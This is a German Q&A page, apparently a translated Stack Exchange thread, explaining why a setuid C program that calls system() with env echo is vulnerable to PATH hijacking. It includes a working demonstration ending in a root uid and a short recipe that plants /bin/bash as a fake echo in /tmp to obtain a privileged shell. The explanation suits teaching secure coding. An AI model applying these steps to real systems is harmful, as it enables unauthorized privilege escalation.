GNU/Linux >> LINUX-Kenntnisse >  >> Linux

Was ist an diesem C-Code anfällig?

Sie können den PATH überschreiben -Variable, um auf ein Verzeichnis mit Ihrer benutzerdefinierten Version von echo zu zeigen und seit echo wird mit env ausgeführt , wird es nicht als integriert behandelt.

Dies stellt nur dann eine Schwachstelle dar, wenn der Code als privilegierter Benutzer ausgeführt wird.

Im Beispiel unten enthält die Datei v.c den Code aus der Frage.

$ cat echo.c
#include <stdio.h>
#include <unistd.h>

int main() {
  printf("Code run as uid=%d\n", getuid());
}
$ cc -o echo echo.c
$ cc -o v v.c
$ sudo chown root v
$ sudo chmod +s v
$ ls -l
total 64
-rwxr-xr-x  1 user     group  8752 Nov 29 01:55 echo
-rw-r--r--  1 user     group    99 Nov 29 01:54 echo.c
-rwsr-sr-x  1 root     group  8896 Nov 29 01:55 v
-rw-r--r--  1 user     group   279 Nov 29 01:55 v.c
$ ./v
and now what?
$ export PATH=.:$PATH
$ ./v
Code run as uid=0
$ 

Beachten Sie, dass die Einstellung von realer Benutzer-ID, effektiver Benutzer-ID und gespeicherter Set-Benutzer-ID durch einen Aufruf von setresuid() erfolgt vor dem Aufruf von system() in dem anfälligen Code, der in der Frage gepostet wurde, ermöglicht es, die Sicherheitsanfälligkeit auszunutzen, selbst wenn nur die effektive Benutzer-ID auf eine privilegierte Benutzer-ID festgelegt ist und die echte Benutzer-ID nicht privilegiert bleibt (wie dies beispielsweise der Fall ist, wenn man sich auf das set-user-ID-Bit verlässt). eine Datei wie oben). Ohne den Aufruf von setresuid() die von system() ausgeführte Shell würde die effektive Benutzer-ID auf die echte Benutzer-ID zurücksetzen, wodurch der Exploit unwirksam würde. Wenn der anfällige Code jedoch mit der echten Benutzer-ID eines privilegierten Benutzers ausgeführt wird, system() Anruf allein reicht. Zitat von sh Manpage:

Wenn die Shell mit der effektiven Benutzer(gruppen)-ID gestartet wird, die nicht gleich der tatsächlichen Benutzer(gruppen)-ID ist, und die Option -p nicht angegeben ist, werden keine Startdateien gelesen, Shell-Funktionen werden nicht von der Umgebung, der SHELLOPTS-Variablen, geerbt , wenn es in der Umgebung erscheint, wird ignoriert, und die effektive Benutzer-ID wird auf die tatsächliche Benutzer-ID gesetzt. Wenn die Option -p beim Aufruf angegeben wird, ist das Startverhalten dasselbe, aber die effektive Benutzer-ID wird nicht zurückgesetzt.

Beachten Sie auch, dass setresuid() ist nicht portabel, aber setuid() oder setreuid() kann auch mit dem gleichen Effekt verwendet werden.


Nun, eigentlich können Sie beim Systemfunktionsaufruf mit echo herumspielen command.zum Beispiel, wenn Sie den folgenden Code ausführen:

echo "/bin/bash" > /tmp/echo
chmod 777 /tmp/echo && export PATH=/tmp:$PATH

Sie erhalten eine Shell mit der Berechtigung des Dateibesitzers


Linux
  1. Was ist ein Linux-Benutzer?

  2. Was ist der Zweck des Benutzers „mysql.sys@localhost“.

  3. Was ist :-!! im C-Code?

  4. Was ist dieses dm-0-Gerät?

  5. Was ist dieser Ordner /run/user/1000?

Was ist Cloud-Init?

Was ist SteamOS? Alles Wichtige, was Sie über diese „Gaming-Distribution“ wissen müssen

Was zeigt diese Prozessstatistik an?

Welches Terminal ist das?

Was ist der debian-+ Benutzer?

Was kann man aus einem fehlgeschlagenen SSH-Versuch über einen Benutzer lernen?